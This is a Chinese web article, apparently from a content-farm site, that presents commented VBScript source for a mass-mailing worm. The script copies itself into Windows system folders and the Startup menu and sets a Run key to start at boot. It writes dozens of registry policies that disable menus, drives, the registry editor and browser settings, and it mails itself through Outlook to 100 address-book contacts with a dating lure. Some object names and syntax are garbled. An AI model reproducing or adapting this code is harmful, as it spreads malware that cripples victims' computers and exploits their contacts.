電腦病毒源代碼介紹
電腦中了病毒想從它的源代碼入手怎么辦呢!有學習啦小編在，下面由學習啦小編給你做出詳細的電腦病毒源代碼介紹!希望對你有幫助!
電腦病毒源代碼介紹：
電腦病毒源代碼一：
on error resume next
set fs=createobject("ing.filesystemobject" '創建一個能與操作系統溝通的對象,再利用該對象的各種方法對注冊表進行操作
set dir1=fs.getspecialfolder(0) '獲取windows/winnt文件夾位置
set dir2=fs.getspecialfolder(1) '獲取system32/system文件夾位置
set so=createobject("ing.filesystemobject"
dim r '定義一個變量
set r=createobject("w.shell"
so.getfile(w.fullname).copy(dir1&"\win32system.vbs" '復制病毒副本到windows/winnt文件夾位置
so.getfile(w.fullname).copy(dir2&"\win32system.vbs" '復制病毒副本到system32/system文件夾位置
so.getfile(w.fullname).copy(dir1&"\start menu\programs\啟動\win32system.vbs" '復制病毒副本到start menu啟動菜單
'下面是對注冊表的惡意修改和簡單的依靠oe傳播
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\norun",1,"reg_dword" '修改注冊表，禁止“運行”菜單
r.regwrite "kcu\software\microsoft\windows\currentversion\policies\explorer\noclose",1,"reg_dword" '修改注冊表，禁止“關閉”菜單
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodrives",63000000,"reg_dword" '修改注冊表，隱藏所有邏輯盤符
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\system\disableregistrytools",1,"reg_dword" '修改注冊表，禁止注冊表編輯
r.regwrite "hklm\software\microsoft\windows\currentversion\run\scanregistry","" '修改注冊表，禁止開機注冊表掃描
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nologoff",1,"reg_dword" '修改注冊表，禁止“注銷”菜單
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\norealmode",1,"reg_dword" '修改注冊表，禁止ms-dos實模式
r.regwrite "hklm\software\microsoft\windows\currentversion\run\win32system","win32system.vbs" '修改注冊表，使這個腳本本身開機自動運行
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodesktop",1,"reg_dword" '修改注冊表，禁止顯示桌面圖標
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\disabled",1,"reg_dword" '修改注冊表，禁止純dos模式
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosettaskbar",1,"reg_dword" '修改注冊表，禁止“任務欄和開始”菜單
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\noviewcontextmenu",1,"reg_dword" '修改注冊表，禁止右鍵菜單
電腦病毒源代碼二：
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosetfolders",1,"reg_dword" '修改注冊表，禁止控制面板
r.regwrite "hklm\software\classes\.reg\","txtfile" '修改注冊表，禁止導入使用.reg文件，改為用txt文件的關聯
r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticecaption","警告" '設置開機提示框標題
r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticetext","您中vbs腳本病毒了，哭吧~" '設置開機提示框文本內容
set ol=createobject("outlook.application" '創建outlook文件對象用于傳播
on error resume next
for x=1 to 100
set mail=ol.createitem(0)
mail.to=ol.getnamespace("mapi".addresslists(1).addressentries(x) '用于向地址簿的前100名發送此 vbs病毒，可以算是簡單弱智的蠕蟲了吧~~
mail.subject="今晚你來嗎?" '郵件主題
mail.body="朋友你好：您的朋友rose給您發來了熱情的邀請。具體情況請閱讀隨信附件，祝您好運! 同城約會網" '郵件內容
mail.attachments.add(dir2&"win32system.vbs"
mail.send
next
ol.quit
'下面是對internet explore 選項的惡意修改
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsercontextmenu",1,"reg_dword" '修改注冊表，禁止鼠標右鍵
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowseroptions",1,"reg_dword" '修改注冊表，禁止internet選項
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsersaveas",1,"reg_dword" '修改注冊表，禁止“另存為”
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nofileopen",1,"reg_dword" '修改注冊表，禁止“文件/打開”菜單
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\advanced",1,"reg_dword" '修改注冊表，禁止更改高級頁設置
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\cache internet",1,"reg_dword" '修改注冊表，禁止更改臨時文件設置
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\autoconfig",1,"reg_dword" '修改注冊表，禁止更改自動配置
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\homepage",1,"reg_dword" '修改注冊表，禁止更改主頁，即“主頁”變灰
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\history",1,"reg_dword" '修改注冊表，禁止更改歷史記錄設置
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\connwiz admin lock",1,"reg_dword" '修改注冊表，禁止更改internet連接向導
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\securitytab",1,"reg_dword" '修改注冊表，禁止更改安全項
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\resetwebsettings",1,"reg_dword" '修改注冊表，禁止“重置web設置”
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\noviewsource",1,"reg_dword" '修改注冊表，禁止查看源文件
r.regwrite "hkcu\software\policies\microsoft\internet explorer\infodelivery\restrictions\noaddingsubions",1,"reg_dword" '修改注冊表，禁止添加脫機計劃
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nofilemenu",1,"reg_dword" '修改注冊表，禁止“文件”菜單
看了“電腦病毒源代碼介紹”文章的還看了：
4.編寫電腦病毒代碼
電腦病毒源代碼介紹
